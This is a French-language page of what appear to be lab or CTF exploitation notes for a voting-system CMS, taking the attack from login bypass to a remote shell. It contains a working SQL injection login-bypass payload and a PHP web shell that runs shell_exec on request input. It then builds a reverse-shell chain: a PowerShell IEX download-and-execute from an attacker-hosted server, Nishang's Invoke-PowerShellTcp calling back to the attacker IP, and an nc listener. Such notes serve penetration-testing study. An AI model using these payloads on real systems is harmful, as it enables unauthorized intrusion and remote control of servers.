> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/voting-system-cms-exploitation.md).

# Système de vote

Notes d’exploitation du système de vote pour l’injection SQL, l’accès au tableau de bord Burp Suite, le téléversement de fichiers PHP, les tests d’injection de commandes, les charges utiles PowerShell et les shells inversés.

## **Vulnérabilité d'injection SQL (SQLi)**

Utilisez `searchsploit` pour rechercher des vulnérabilités du système de vote et identifier la charge utile suivante :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Utilisez Burp Suite pour accéder au tableau de bord.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichiers :

Une fois dans le tableau de bord, créez un nouvel utilisateur et téléversez `cmd.php` pour exécuter des commandes sur le serveur :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

Le panneau n’impose pas de contrôles de sécurité, permettant une injection de commandes telle que `whoami`. Testez la connectivité avec une commande ping :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

Vérifiez si la cible peut envoyer un ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

La réception d’une réponse confirme l’exécution de commandes sur la cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Exécution de commandes PowerShell pour un reverse shell**

Une fois l’exécution des commandes confirmée, hébergez le `PS.ps1` script sur la machine de l’attaquant.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Ajoutez la ligne suivante à la fin du script :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` avec un serveur web :

```bash
python3 -m http.server 80
```

Modifiez ensuite la commande pour qu’elle pointe vers le serveur web de l’attaquant :

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Enfin, démarrez un écouteur sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>


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